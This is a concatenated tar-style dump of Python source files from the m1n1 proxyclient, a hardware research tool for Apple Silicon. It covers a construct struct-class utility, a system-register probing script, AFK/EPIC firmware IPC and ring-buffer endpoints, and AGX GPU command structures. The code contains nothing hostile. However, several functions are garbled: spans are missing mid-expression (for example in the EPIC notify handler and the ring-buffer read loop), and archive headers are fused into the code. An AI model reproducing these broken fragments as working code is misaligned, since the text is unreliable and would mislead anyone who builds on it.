DecDisplayedInteger.new(obj) return obj except Exception as e: print(e) raise def _encode(self, obj, context, path): return obj def _emitparse(self, code): return self.subcon._compileparse(code) def _emitseq(self, ksy, bitwise): return self.subcon._compileseq(ksy, bitwise) def _emitprimitivetype(self, ksy, bitwise): return self.subcon._compileprimitivetype(ksy, bitwise) def _emitfulltype(self, ksy, bitwise): return self.subcon._compilefulltype(ksy, bitwise) class ConstructClassException(Exception): pass # We need to inherit Construct as a metaclass so things like If and Select will work class ReloadableConstructMeta(ReloadableMeta, Construct): def __new__(cls, name, bases, attrs): cls = super().__new__(cls, name, bases, attrs) cls.name = name if cls.SHORT_NAME is not None: cls.short_name = cls.SHORT_NAME else: cls.short_name = re.sub('[a-z]', '', cls.name) if len(cls.short_name) > 5: cls.short_name = cls.short_name[:3] + cls.short_name[-2:] try: cls.flagbuildnone = cls.subcon.flagbuildnone except AttributeError: cls.flagbuildnone = False cls.docs = None cls._off = {} if "subcon" not in attrs: return cls subcon = attrs["subcon"] if isinstance(subcon, Struct): off = 0 for subcon in subcon.subcons: try: sizeof = subcon.sizeof() except: sizeof = None if isinstance(subcon, Ver): if not subcon._active(): cls._off[subcon.name] = -1, 0 continue subcon = subcon.subcon if isinstance(subcon, Renamed): name = subcon.name subcon = subcon.subcon cls._off[name] = off, sizeof if sizeof is None: break off += sizeof return cls class ConstructClassBase(Reloadable, metaclass=ReloadableConstructMeta): """ Offers two benefits over regular construct 1. It's reloadable, and can recursively reload other referenced ConstructClasses 2. It's a class, so you can define methods Currently only supports parsing, but could be extended to support building Example: Instead of: MyStruct = Struct( "field1" / Int32ul ) class MyClass(ConstructClass): subcon = Struct( "field1" / Int32ul ) """ SHORT_NAME = None parsed = None def __init__(self): self._pointers = set() self._addr = None self._meta = {} def regmap(self): return ConstructRegMap(type(self), self._stream.to_accessor(), self._addr) @classmethod def sizeof(cls, **contextkw): context = Container(**contextkw) context._parsing = False context._building = False context._sizing = True context._params = context return cls._sizeof(context, "(sizeof)") def Apply(self, dict=None, **kwargs): if dict is None: dict = kwargs for key in dict: if not key.startswith('_'): setattr(self, key, dict[key]) self._keys += [key] def set_addr(self, addr=None, stream=None): #print("set_addr", type(self), addr) if addr is not None: self._addr = addr self._set_meta(self, stream) @classmethod def _build(cls, obj, stream, context, path): cls._build_prepare(obj) addr = stream.tell() try: new_obj = cls.subcon._build(obj, stream, context, f"{path} -> {cls.name}") except ConstructClassException: raise except ConstructError: raise except Exception as e: raise ConstructClassException(f"at {path} -> {cls.name}") from e # if obj is a raw value or Container, instance a proper object for it if not isinstance(obj, ConstructClassBase): obj = cls.__new__(cls) # update the object with anything that build updated (such as defaults) obj._apply(new_obj) obj._addr = addr cls._set_meta(obj, stream) return obj @classmethod def _sizeof(cls, context, path): return cls.subcon._sizeof(context, f"{path} -> {cls.name}") @classmethod def _reloadcls(cls, force=False, token=None): #print(f"_reloadcls({cls})", id(cls)) newcls = Reloadable._reloadcls.__func__(cls, force) if hasattr(newcls, "subcon"): recursive_reload(newcls.subcon, token) return newcls def _apply(self, obj): raise NotImplementedError() @classmethod def _set_meta(cls, self, stream=None): if stream is not None: self._pointers = set() self._meta = {} self._stream = stream if isinstance(cls.subcon, Struct): subaddr = int(self._addr) for subcon in cls.subcon.subcons: try: sizeof = subcon.sizeof() except: break if isinstance(subcon, Ver): subcon = subcon.subcon if isinstance(subcon, Renamed): name = subcon.name #print(name, subcon) subcon = subcon.subcon if stream is not None and getattr(stream, "meta_fn", None): meta = stream.meta_fn(subaddr, sizeof) if meta is not None: self._meta[name] = meta if isinstance(subcon, Pointer): self._pointers.add(name) continue try: #print(name, subcon) val = self[name] except: pass else: if isinstance(val, ConstructClassBase): val.set_addr(subaddr) if isinstance(val, list): subaddr2 = subaddr for i in val: if isinstance(i, ConstructClassBase): i.set_addr(subaddr2) subaddr2 += i.sizeof() subaddr += sizeof @classmethod def _parse(cls, stream, context, path): #print(f"parse {cls} @ {stream.tell():#x} {path}") addr = stream.tell() obj = cls.subcon._parse(stream, context, path) size = stream.tell() - addr # Don't instance Selects if isinstance(cls.subcon, Select): return obj # Skip calling the __init__ constructor, so that it can be used for building # Use parsed instead, if you need a post-parsing constructor self = cls.__new__(cls) self._addr = addr self._path = path self._meta = {} cls._set_meta(self, stream) self._apply(obj) if self._addr > 0x10000: desc = f"{cls.name} (end: {self._addr + size:#x})" if getattr(stream, "meta_fn", None): meta = stream.meta_fn(self._addr, None) if meta is not None: desc += " " + meta g_struct_trace.add((self._addr, desc)) g_struct_addrmap[self._addr] = f"{cls.name}" return self @classmethod def _build_prepare(cls, obj): pass def build_stream(self, obj=None, stream=None, **contextkw): assert stream != None if obj is None: obj = self return Construct.build_stream(self, obj, stream, **contextkw) def build(self, obj=None, **contextkw): if obj is None: obj = self return Construct.build(self, obj, **contextkw) class ROPointer(Pointer): def _build(self, obj, stream, context, path): return obj def _parse(self, stream, context, path): recurse = getattr(stream, "recurse", False) if not recurse: return None return Pointer._parse(self, stream, context, path) class ConstructClass(ConstructClassBase, Container): """ Offers two benefits over regular construct 1. It's reloadable, and can recursively reload other referenced ConstructClasses 2. It's a class, so you can define methods Currently only supports parsing, but could be extended to support building Example: Instead of: MyStruct = Struct( "field1" / Int32ul ) class MyClass(ConstructClass): subcon = Struct( "field1" / Int32ul ) """ def diff(self, other, show_all=False): return self.__str__(other=other, show_all=show_all) def __eq__(self, other): return all(self[k] == other[k] for k in self if (not k.startswith("_")) and (k not in self._pointers) and not callable(self[k])) def __str__(self, ignore=[], other=None, show_all=False) -> str: str = self.__class__.__name__ if self._addr is not None: str += f" @ 0x{self._addr:x}:" str += "\n" keys = list(self) keys.sort(key = lambda x: self._off.get(x, (-1, 0))[0]) for key in keys: if key in self._off: offv, sizeof = self._off[key] if offv == -1: print(key, offv, sizeof) continue if key in ignore or key.startswith('_'): continue value = getattr(self, key) need_diff = False if other is not None: if key in self._pointers or callable(value): continue other_value = getattr(other, key) if not show_all and other_value == value: continue offv, sizeof = self._off[key] if sizeof == 0: continue def _valdiff(value, other_value): if hasattr(value, "diff"): return value.diff(other_value) elif isinstance(value, bytes) and isinstance(other_value, bytes): pad = bytes() if len(value) & 3: pad = bytes(4 - (len(value) & 3)) return chexdiff32(other_value+pad, value+pad, offset=offv, offset2=0) else: val_repr = str_value(value) if other_value != value: other_repr = str_value(other_value) return f"\x1b[33;1;4m{val_repr}\x1b[m ↠\x1b[34m{other_repr}\x1b[m" return val_repr if isinstance(value, list): val_repr = "{\n" for i, (a, b) in enumerate(zip(value, other_value)): if a == b: continue val_repr += f"[{i}] = " + textwrap.indent(_valdiff(a, b), " ") + "\n" offv += sizeof // len(value) val_repr += "}\n" else: val_repr = _valdiff(value, other_value) else: val_repr = str_value(value) off = "" meta = "" if key in self._off: offv, sizeof = self._off[key] if sizeof is not None: sizeofs = f"{sizeof:3x}" else: sizeofs = " *" off = f"\x1b[32m[{offv:3x}.{sizeofs}]\x1b[m " if key in self._meta: meta = f" \x1b[34m{self._meta[key]}\x1b[m" if '\n' in val_repr: val_repr = textwrap.indent(val_repr, f'\x1b[90m{self.short_name:>5s}.\x1b[m') if not val_repr.endswith('\n'): val_repr += '\n' str += f"\x1b[90m{self.short_name:>5s}.{off}\x1b[95m{key}\x1b[m ={meta}\n{val_repr}" else: str += f"\x1b[90m{self.short_name:>5s}.{off}\x1b[95m{key}\x1b[m = {val_repr}{meta}\n" return str def _dump(self): print(f"# {self.__class__.__name__}") if self._addr is not None: print(f"# Address: 0x{self._addr:x}") keys = list(self) keys.sort(key = lambda x: self._off.get(x, (-1, 0))[0]) for key in keys: if key.startswith('_'): continue value = getattr(self, key) val_repr = str_value(value, repr=True) print(f"self.{key} = {val_repr}") @classmethod def _build_prepare(cls, obj): if isinstance(cls.subcon, Struct): for subcon in cls.subcon.subcons: if isinstance(subcon, Ver): subcon = subcon.subcon if not isinstance(subcon, Renamed): continue name = subcon.name subcon = subcon.subcon if isinstance(subcon, Lazy): subcon = subcon.subcon if not isinstance(subcon, Pointer): continue addr_field = subcon.offset.__getfield__() # Ugh. parent = subcon.offset._Path__parent(obj) if not hasattr(obj, name) and hasattr(parent, addr_field): # No need for building setattr(obj, name, None) elif hasattr(obj, name): subobj = getattr(obj, name) try: addr = subobj._addr except (AttributeError, KeyError): addr = None if addr is not None: setattr(parent, addr_field, addr) @classmethod def _parse(cls, stream, context, path): self = ConstructClassBase._parse.__func__(cls, stream, context, path) for key in self: if key.startswith('_'): continue try: val = int(self[key]) except: continue if (0x1000000000 <= val <= 0x1f00000000 or 0xf8000000000 <= val <= 0xff000000000 or 0xffffff8000000000 <= val <= 0xfffffff000000000): g_struct_trace.add((val, f"{cls.name}.{key}")) return self def _apply_classful(self, obj): obj2 = dict(obj) if isinstance(self.__class__.subcon, Struct): for subcon in self.__class__.subcon.subcons: name = subcon.name if name is None: continue subcon = subcon.subcon if isinstance(subcon, Lazy): continue if isinstance(subcon, Pointer): subcon = subcon.subcon if isinstance(subcon, Ver): subcon = subcon.subcon if isinstance(subcon, Array): subcon = subcon.subcon if name not in obj2: continue val = obj2[name] if not isinstance(subcon, type) or not issubclass(subcon, ConstructClassBase): continue def _map(v): if not isinstance(v, subcon): sc = subcon() sc._apply(v) return sc return v if isinstance(val, list): obj2[name] = list(map(_map, val)) else: obj2[name] = _map(val) self._apply(obj2) def _apply(self, obj): self.update(obj) def items(self): for k in list(self): if k.startswith("_"): continue v = self[k] if getattr(v, "HAS_VALUE", None): yield k, v.value else: yield k, v def addrof(self, name): return self._addr + self._off[name][0] @classmethod def offsetof(cls, name): return cls._off[name][0] def clone(self): obj = type(self)() obj.update(self) return obj @classmethod def from_json(cls, fd): d = json.load(fd) obj = cls() obj._apply_classful(d) return obj @classmethod def is_versioned(cls): for subcon in cls.subcon.subcons: if isinstance(subcon, Ver): return True while True: try: subcon = subcon.subcon if isinstance(subcon, type) and issubclass(subcon, ConstructClass) and subcon.is_versioned(): return True except: break return False @classmethod def to_rust(cls): assert isinstance(cls.subcon, Struct) s = [] if cls.is_versioned(): s.append("#[versions(AGX)]"), s += [ "#[derive(Debug, Clone, Copy)]", "#[repr(C, packed(4))]", f"struct {cls.__name__} {{", ] pad = 0 has_ver = False for subcon in cls.subcon.subcons: if isinstance(subcon, Ver): if not has_ver: s.append("") s.append(f" #[ver({subcon.cond})]") subcon = subcon.subcon has_ver = True else: has_ver = False name = subcon.name if name is None: name = f"__pad{pad}" pad += 1 array_len = [] skip = False while subcon: if isinstance(subcon, Lazy): skip = True break elif isinstance(subcon, Pointer): skip = True break elif isinstance(subcon, Array): array_len.append(subcon.count) elif isinstance(subcon, (HexDump, Default, Renamed, Dec, Hex, Const)): pass else: break subcon = subcon.subcon if isinstance(subcon, Bytes): array_len.append(subcon.length) subcon = Int8ul if skip: #s.append(f" // {name}: {subcon}") continue TYPE_MAP = { Int64ul: "u64", Int32ul: "u32", Int16ul: "u16", Int8ul: "u8", Int64sl: "i64", Int32sl: "i32", Int16sl: "i16", Int8sl: "i8", Float32l: "f32", Float64l: "f64", } t = TYPE_MAP.get(subcon, repr(subcon)) if isinstance(subcon, type) and issubclass(subcon, ConstructClass): t = subcon.__name__ if subcon.is_versioned(): t += "::ver" for n in array_len[::-1]: t = f"Array<{n:#x}, {t}>" s.append(f" pub(crate) {name}: {t},") if has_ver: s.append("") s += ["}"] return "\n".join(s) class ConstructValueClass(ConstructClassBase): """ Same as Construct, but for subcons that are single values, rather than containers the value is stored as .value """ HAS_VALUE = True def __eq__(self, other): return self.value == other.value def __str__(self) -> str: str = f"{self.__class__.__name__} @ 0x{self._addr:x}:" str += f"\t{str_value(self.value)}" return str def __getitem__(self, i): if i == "value": return self.value raise Exception(f"Invalid index {i}") @classmethod def _build(cls, obj, stream, context, path): return super()._build(obj.value, stream, context, path) def _apply(self, obj): self.value = obj _apply_classful = _apply class ConstructRegMap(BaseRegMap): TYPE_MAP = { Int8ul: Register8, Int16ul: Register16, Int32ul: Register32, Int64ul: Register64, } def __init__(self, cls, backend, base): self._addrmap = {} self._rngmap = SetRangeMap() self._namemap = {} assert isinstance(cls.subcon, Struct) for subcon in cls.subcon.subcons: if isinstance(subcon, Ver): subcon = subcon.subcon if not isinstance(subcon, Renamed): continue name = subcon.name subcon = subcon.subcon if subcon not in self.TYPE_MAP: continue rtype = self.TYPE_MAP[subcon] if name not in cls._off: continue addr, size = cls._off[name] self._addrmap[addr] = name, rtype self._namemap[name] = addr, rtype super().__init__(backend, base) def __getattr__(self, k): if k.startswith("_"): return self.__dict__[k] return self._accessor[k] def __setattr__(self, k, v): if k.startswith("_"): self.__dict__[k] = v return self._accessor[k].val = v class Ver(Subconstruct): # Ugly hack to make this survive across reloads... try: _version = sys.modules["m1n1.constructutils"].Ver._version except (KeyError, AttributeError): _version = {"V": os.environ.get("AGX_FWVER", "V12_3"), "G": os.environ.get("AGX_GPU", "G13")} MATRIX = { "V": ["V12_1", "V12_3", "V12_4", "V13_0B4", "V13_0B5", "V13_0B6", "V13_2", "V13_3", "V13_5B4", "V13_5"], "G": ["G13", "G14", "G14X"], } def __init__(self, version, subcon): self.cond = version self.vcheck = self.parse_ver(version) self._name = subcon.name self.subcon = subcon self.flagbuildnone = True self.docs = "" self.parsed = None @property def name(self): if self._active(): return self._name else: return None @staticmethod def _split_ver(s): if not s: return None parts = re.split(r"[-,. ]", s) parts2 = [] for i in parts: try: parts2.append(int(i)) except ValueError: parts2.append(i) if len(parts2) > 3 and parts2[-2] == "beta": parts2[-3] -= 1 parts2[-2] = 99 return tuple(parts2) @classmethod def parse_ver(cls, version): expr = version.replace("&&", " and ").replace("||", " or ") base_loc = {j: i for row in cls.MATRIX.values() for i, j in enumerate(row)} def check_ver(ver): loc = dict(base_loc) for k, v in ver.items(): loc[k] = cls.MATRIX[k].index(v) return eval(expr, None, loc) return check_ver @classmethod def check(cls, version): return cls.parse_ver(version)(cls._version) def _active(self): return self.vcheck(self._version) def _parse(self, stream, context, path): if not self._active(): return None obj = self.subcon._parse(stream, context, path) return obj def _build(self, obj, stream, context, path): if not self._active(): return None return self.subcon._build(obj, stream, context, path) def _sizeof(self, context, path): if not self._active(): return 0 return self.subcon._sizeof(context, path) @classmethod def set_version_key(cls, key, version): cls._version[key] = version @classmethod def set_version(cls, u): cls.set_version_key("V", u.version) gpu = u.adt["/arm-io"].soc_generation.replace("H", "G") if gpu == "G14" and u.adt["/chosen"].chip_id < 0x8000: gpu = "G14X" cls.set_version_key("G", gpu) def show_struct_trace(log=print): for addr, desc in sorted(list(g_struct_trace)): log(f"{addr:>#18x}: {desc}") __all__ = ["ConstructClass", "ConstructValueClass", "Dec", "ROPointer", "show_struct_trace", "ZPadding", "Ver"] m1n1-1.4.11/proxyclient/m1n1/find_regs.py000066400000000000000000000052171453754430200200340ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import struct from . import asm, sysreg from .proxyutils import GuardedHeap __all__ = ["dynamic_regs", "impdef_regs", "static_regs", "find_regs"] def _all(): for op1 in range(1 << 3): for CRn in (0b1011, 0b1111): for CRm in range(1 << 4): for op2 in range(1 << 3): yield 3, op1, CRn, CRm, op2 dynamic_regs = [ sysreg.CNTVCT_ALIAS_EL0, sysreg.CNTPCT_ALIAS_EL0, ] impdef_regs = list(_all()) static_regs = [i for i in _all() if i not in dynamic_regs] def find_regs(u, regs=None, block=1024, call=None, values=True): if regs is None: regs = impdef_regs p = u.proxy iface = u.iface data_len = 8 * block with GuardedHeap(u.heap) as heap: data_buffer = heap.malloc(data_len) template = asm.ARMAsm(""" mov x2, x0 mrs x2, s3_0_c0_c0_0 str x2, [x1], #8 """, 0x1000) mov, mrs, st = struct.unpack("3I", template.data) BAD = 0xacce5515abad1dea OOPS = 0xdeadc0dedeadc0de iregs = iter(regs) while True: insns = [] bregs = [] for i in iregs: op0, op1, CRn, CRm, op2 = enc = sysreg.sysreg_parse(i) bregs.append(enc) assert op0 == 3 insns.extend((mov, mrs | (op1 << 16) | (CRn << 12) | (CRm << 8) | (op2 << 5), st)) if len(bregs) >= block: break if not bregs: break p.memset64(data_buffer, OOPS, data_len) u.exec(insns, BAD, data_buffer, call=call, silent=True, ignore_exceptions=True) data = iface.readmem(data_buffer, 8 * len(bregs)) for reg, val in zip(bregs, struct.unpack(f"<{len(bregs)}Q", data)): if val == OOPS: raise Exception(f"Failed to execute reg-finder code at {reg}") if val != BAD: if values: yield reg, val else: yield reg if __name__ == "__main__": from m1n1.setup import * p.iodev_set_usage(IODEV.FB, 0) for reg, val in find_regs(u): print(f"{sysreg_name(reg)} ({', '.join(map(str, reg))}) = 0x{val:x}") try: u.msr(reg, val, silent=True) except: print(" - READONLY") try: u.mrs(reg, silent=True, call="el1") except: print(" - ### EL2 only ###") try: u.mrs(reg, silent=True, call="el0") except: pass else: print(" - *** EL0 accessible ***") m1n1-1.4.11/proxyclient/m1n1/fw/000077500000000000000000000000001453754430200161315ustar00rootroot00000000000000m1n1-1.4.11/proxyclient/m1n1/fw/__init__.py000066400000000000000000000000001453754430200202300ustar00rootroot00000000000000m1n1-1.4.11/proxyclient/m1n1/fw/afk/000077500000000000000000000000001453754430200166725ustar00rootroot00000000000000m1n1-1.4.11/proxyclient/m1n1/fw/afk/__init__.py000066400000000000000000000000001453754430200207710ustar00rootroot00000000000000m1n1-1.4.11/proxyclient/m1n1/fw/afk/epic.py000066400000000000000000000214201453754430200201630ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import struct from io import BytesIO from construct import * from ..common import * from ...utils import * from ..asc import StandardASC from ..asc.base import * from .rbep import AFKRingBufEndpoint EPICType = "EPICType" / Enum(Int32ul, NOTIFY = 0, COMMAND = 3, REPLY = 4, NOTIFY_ACK = 8, ) EPICCategory = "EPICCategory" / Enum(Int8ul, REPORT = 0x00, NOTIFY = 0x10, REPLY = 0x20, COMMAND = 0x30, ) EPICHeader = Struct( "channel" / Int32ul, "type" / EPICType, "version" / Const(2, Int8ul), "seq" / Int16ul, "pad" / Const(0, Int8ul), "unk" / Const(0, Int32ul), "timestamp" / Default(Int64ul, 0), ) EPICSubHeader = Struct( "length" / Int32ul, "version" / Default(Int8ul, 4), "category" / EPICCategory, "type" / Hex(Int16ul), "timestamp" / Default(Int64ul, 0), "seq" / Int16ul, "unk" / Default(Hex(Int16ul), 0), "inline_len" / Hex(Int32ul), ) EPICAnnounce = Struct( "name" / Padded(32, CString("utf8")), "props" / Optional(OSSerialize()) ) EPICSetProp = Struct( "name_len" / Int32ul, "name" / Aligned(4, CString("utf8")), "value" / OSSerialize() ) EPICCmd = Struct( "retcode" / Default(Hex(Int32ul), 0), "rxbuf" / Hex(Int64ul), "txbuf" / Hex(Int64ul), "rxlen" / Hex(Int32ul), "txlen" / Hex(Int32ul), "rxcookie" / Optional(Default(Bool(Int8ul), False)), "txcookie" / Optional(Default(Bool(Int8ul), False)), ) class EPICError(Exception): pass class EPICService: RX_BUFSIZE = 0x4000 TX_BUFSIZE = 0x4000 def __init__(self, ep): self.iface = ep.asc.iface self.ep = ep self.ready = False self.chan = None self.seq = 0 def log(self, msg): print(f"[{self.ep.name}.{self.SHORT}] {msg}") def init(self, props): self.log(f"Init: {props}") self.props = props self.rxbuf, self.rxbuf_dva = self.ep.asc.ioalloc(self.RX_BUFSIZE) self.txbuf, self.txbuf_dva = self.ep.asc.ioalloc(self.TX_BUFSIZE) self.ready = True def wait(self): while not self.ready: self.ep.asc.work() def handle_report(self, category, type, seq, fd): self.log(f"Report {category}/{type} #{seq}") chexdump(fd.read()) def handle_notify(self, category, type, seq, fd): retcode = struct.unpack(" 2: self.log(f"Ch {hdr.channel} Type {hdr.type} Ver {hdr.version} Seq {hdr.seq}") self.log(f" Len {sub.length} Ver {sub.version} Cat {sub.category} Type {sub.type:#x} Seq {sub.seq}") if sub.category == EPICCategory.REPORT: self.handle_report(hdr, sub, fd) if sub.category == EPICCategory.NOTIFY: self.handle_notify(hdr, sub, fd) elif sub.category == EPICCategory.REPLY: self.handle_reply(hdr, sub, fd) elif sub.category == EPICCategory.COMMAND: self.handle_cmd(hdr, sub, fd) def wait_for(self, name): while True: srv = getattr(self, name, None) if srv is not None and srv.ready: break self.asc.work() def handle_report(self, hdr, sub, fd): if sub.type == 0x30: init = EPICAnnounce.parse_stream(fd) if init.props is None: init.props = {} name = init.name if "EPICName" in init.props: name = init.props["EPICName"] key = name + str(init.props.get("EPICUnit", "")) if name in self.serv_names: srv = self.serv_names[name](self) short = srv.SHORT + str(init.props.get("EPICUnit", "")) setattr(self, short, srv) srv.init(init.props) srv.chan = hdr.channel self.chan_map[hdr.channel] = srv self.serv_map[key] = srv self.log(f"New service: {key} on channel {hdr.channel} (short name: {short})") else: self.log(f"Unknown service {key} on channel {hdr.channel}") else: if hdr.channel not in self.chan_map: self.log(f"Ignoring report on channel {hdr.channel}") else: self.chan_map[hdr.channel].handle_report(sub.category, sub.type, sub.seq, fd) def handle_notify(self, hdr, sub, fd): self.chan_map[hdr.channel].handle_notify(sub.category, sub.type, sub.seq, fd) def handle_reply(self, hdr, sub, fd): self.chan_map[hdr.channel].handle_reply(sub.category, sub.type, sub.seq, fd) def handle_cmd(self, hdr, sub, fd): self.chan_map[hdr.channel].handle_cmd(sub.category, sub.type, sub.seq, fd) def send_epic(self, chan, ptype, category, type, seq, data, inline_len=0): hdr = Container() hdr.channel = chan hdr.type = ptype hdr.seq = self.hseq self.hseq += 1 sub = Container() sub.length = len(data) sub.category = category sub.type = type sub.seq = seq sub.inline_len = inline_len pkt = EPICHeader.build(hdr) + EPICSubHeader.build(sub) + data super().send_ipc(pkt) class AFKSystemEndpoint(EPICEndpoint): SHORT = "system" SERVICES = [ AFKSystemService, ] m1n1-1.4.11/proxyclient/m1n1/fw/afk/rbep.py000066400000000000000000000142731453754430200202030ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import struct from ..common import * from ...utils import * from ..asc.base import * class AFKEPMessage(Register64): TYPE = 63, 48 class AFKEP_GetBuf(AFKEPMessage): TYPE = 63, 48, Constant(0x89) SIZE = 31, 16 TAG = 15, 0 class AFKEP_GetBuf_Ack(AFKEPMessage): TYPE = 63, 48, Constant(0xa1) DVA = 47, 0 class AFKEP_InitRB(AFKEPMessage): OFFSET = 47, 32 SIZE = 31, 16 TAG = 15, 0 class AFKEP_Send(AFKEPMessage): TYPE = 63, 48, Constant(0xa2) WPTR = 31, 0 class AFKEP_Recv(AFKEPMessage): TYPE = 63, 48, Constant(0x85) WPTR = 31, 0 class AFKEP_Init(AFKEPMessage): TYPE = 63, 48, Constant(0x80) class AFKEP_Init_Ack(AFKEPMessage): TYPE = 63, 48, Constant(0xa0) class AFKEP_Start(AFKEPMessage): TYPE = 63, 48, Constant(0xa3) class AFKEP_Start_Ack(AFKEPMessage): TYPE = 63, 48, Constant(0x86) class AFKEP_Shutdown(AFKEPMessage): TYPE = 63, 48, Constant(0xc0) class AFKEP_Shutdown_Ack(AFKEPMessage): TYPE = 63, 48, Constant(0xc1) class AFKError(Exception): pass class AFKRingBuf(Reloadable): BLOCK_SIZE = 0x40 def __init__(self, ep, base, size): self.ep = ep self.base = base bs, unk = struct.unpack(" (self.bufsize - self.rptr): hdr = self.read_buf(3 * self.BLOCK_SIZE, 16) self.rptr = 16 magic, size = struct.unpack("<4sI", hdr[:8]) assert magic in [b"IOP ", b"AOP "] payload = self.read_buf(3 * self.BLOCK_SIZE + self.rptr, size) self.rptr = (align_up(self.rptr + size, self.BLOCK_SIZE)) % self.bufsize self.update_rptr(self.rptr) yield hdr[8:] + payload self.wptr = self.get_wptr() self.update_rptr(self.rptr) def write(self, data): hdr2, data = data[:8], data[8:] self.rptr = self.get_rptr() if self.wptr < self.rptr and self.wptr + 0x10 >= self.rptr: raise AFKError("Ring buffer is full") hdr = struct.pack("<4sI", b"IOP ", len(data)) + hdr2 self.write_buf(3 * self.BLOCK_SIZE + self.wptr, hdr) if len(data) > (self.bufsize - self.wptr - 16): if self.rptr < 0x10: raise AFKError("Ring buffer is full") self.write_buf(3 * self.BLOCK_SIZE, hdr) self.wptr = 0 if self.wptr < self.rptr and self.wptr + 0x10 + len(data) >= self.rptr: raise AFKError("Ring buffer is full") self.write_buf(3 * self.BLOCK_SIZE + self.wptr + 0x10, data) self.wptr = align_up(self.wptr + 0x10 + len(data), self.BLOCK_SIZE) % self.bufsize self.update_wptr(self.wptr) return self.wptr class AFKRingBufEndpoint(ASCBaseEndpoint): BASE_MESSAGE = AFKEPMessage SHORT = "afkep" def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.txq = None self.rxq = None self.iface = self.asc.iface self.alive = False self.started = False self.iobuffer = None self.verbose = 2 self.msgid = 0 def start(self): self.send(AFKEP_Init()) @msg_handler(0xa0, AFKEP_Init_Ack) def Init_Ack(self, msg): self.alive = True return True @msg_handler(0x89, AFKEP_GetBuf) def GetBuf(self, msg): size = msg.SIZE * AFKRingBuf.BLOCK_SIZE if self.iobuffer: print("WARNING: trying to reset iobuffer!") self.iobuffer, self.iobuffer_dva = self.asc.ioalloc(size) self.asc.p.write32(self.iobuffer, 0xdeadbeef) self.send(AFKEP_GetBuf_Ack(DVA=self.iobuffer_dva)) self.log(f"Buffer: phys={self.iobuffer:#x} dva={self.iobuffer_dva:#x} size={size:#x}") return True def stop(self): self.log("Shutting down") self.send(AFKEP_Shutdown()) while self.alive: self.asc.work() @msg_handler(0xc1, AFKEP_Shutdown_Ack) def Shutdown_Ack(self, msg): self.alive = False self.log("Shutdown ACKed") return True @msg_handler(0x8a, AFKEP_InitRB) def InitTX(self, msg): self.txq = self.init_rb(msg) if self.rxq and self.txq: self.start_queues() return True @msg_handler(0x8b, AFKEP_InitRB) def InitRX(self, msg): self.rxq = self.init_rb(msg) if self.rxq and self.txq: self.start_queues() return True def init_rb(self, msg): off = msg.OFFSET * AFKRingBuf.BLOCK_SIZE size = msg.SIZE * AFKRingBuf.BLOCK_SIZE return AFKRingBuf(self, self.iobuffer + off, size) def start_queues(self): self.send(AFKEP_Start()) @msg_handler(0x86, AFKEP_Start_Ack) def Start_Ack(self, msg): self.started = True return True @msg_handler(0x85, AFKEP_Recv) def Recv(self, msg): for data in self.rxq.read(): if self.verbose >= 3: self.log(f"= G14 && V >= V13_2 && G < G14X"): RunCmdQueueSize = 0x40 else: RunCmdQueueSize = 0x30 class RunCmdQueueMsg(ConstructClass): subcon = Struct ( "queue_type" / Default(Int32ul, 0), "cmdqueue_addr" / Default(Hex(Int64ul), 0), "cmdqueue" / Lazy(ROPointer(this.cmdqueue_addr, CommandQueueInfo)), "head" / Default(Int32ul, 0), "event_number" / Default(Int32ul, 0), "new_queue" / Default(Int32ul, 0), "data" / HexDump(Default(Bytes(0x18), bytes(0x18))), Ver("G >= G14 && V >= V13_2 && G < G14X", ZPadding(0x10)), ) TYPES = { 0: "SubmitTA", 1: "Submit3D", 2: "SubmitCompute", } def __str__(self, *args, **kwargs): s = super().__str__(*args, **kwargs) + "\n" if self.cmdqueue_addr == 0: return s + "" r = random.randrange(2**64) s += f"{self.TYPES[self.queue_type]}(0x{self.cmdqueue_addr & 0xfff_ffffffff:x}, {self.head}, ev={self.event_number}, new={self.new_queue}) //{r:x}" return s class DC_DestroyContext(ConstructClass): subcon = Struct ( Ver("V < V13_3", "msg_type" / Const(0x17, Int32ul)), Ver("V >= V13_3", "msg_type" / Const(0x18, Int32ul)), "unk_4" / Hex(Int32ul), "unk_8" / Hex(Int32ul), "unk_c" / Hex(Int32ul), "unk_10" / Hex(Int32ul), "unk_14" / Hex(Int32ul), "unk_18" / Hex(Int32ul), "context_addr" / Hex(Int64ul), "rest" / HexDump(Default(Bytes(0xc), bytes(0xc))), Ver("G == G14 && V >= V13_2", ZPadding(0x10)), ) class DC_Write32(ConstructClass): subcon = Struct ( Ver("V < V13_3", "msg_type" / Const(0x18, Int32ul)), Ver("V >= V13_3", "msg_type" / Const(0x19, Int32ul)), "addr" / Hex(Int64ul), "data" / Int32ul, "unk_10" / Int32ul, "unk_14" / Int32ul, "unk_18" / Int32ul, "unk_1c" / Int32ul, "rest" / HexDump(Default(Bytes(0x10), bytes(0x10))), Ver("G == G14 && V >= V13_2", ZPadding(0x10)), ) class DC_Write32B(ConstructClass): subcon = Struct ( "msg_type" / Const(0x13, Int32ul), "addr" / Hex(Int64ul), "data" / Int32ul, "unk_10" / Int32ul, "unk_14" / Int32ul, "unk_18" / Int32ul, "unk_1c" / Int32ul, "rest" / HexDump(Default(Bytes(0x10), bytes(0x10))), Ver("G == G14 && V >= V13_2", ZPadding(0x10)), ) class DC_Init(ConstructClass): subcon = Struct ( Ver("V < V13_3", "msg_type" / Const(0x19, Int32ul)), Ver("V >= V13_3", "msg_type" / Const(0x1a, Int32ul)), "data" / HexDump(Default(Bytes(0x2c), bytes(0x2c))), Ver("G == G14 && V >= V13_2", ZPadding(0x10)), ) class DC_09(ConstructClass): subcon = Struct ( "msg_type" / Const(0x9, Int32ul), "unk_4" / Int64ul, "unkptr_c" / Int64ul, "unk_14" / Int64ul, "data" / HexDump(Default(Bytes(0x14), bytes(0x14))), Ver("G == G14 && V >= V13_2", ZPadding(0x10)), ) class DC_GrowTVBAck(ConstructClass): subcon = Struct ( "msg_type" / Const(0xd, Int32ul), "unk_4" / Int32ul, "bm_id" / Int32ul, "vm_id" / Int32ul, "counter" / Int32ul, "rest" / HexDump(Default(Bytes(0x1c), bytes(0x1c))), Ver("G == G14 && V >= V13_2", ZPadding(0x10)), ) class DC_Any(ConstructClass): subcon = Struct ( "msg_type" / Int32ul, "data" / HexDump(Default(Bytes(0x2c), bytes(0x2c))), Ver("G == G14 && V >= V13_2", ZPadding(0x10)), ) class DC_1e(ConstructClass): subcon = Struct ( "msg_type" / Const(0x1e, Int32ul), 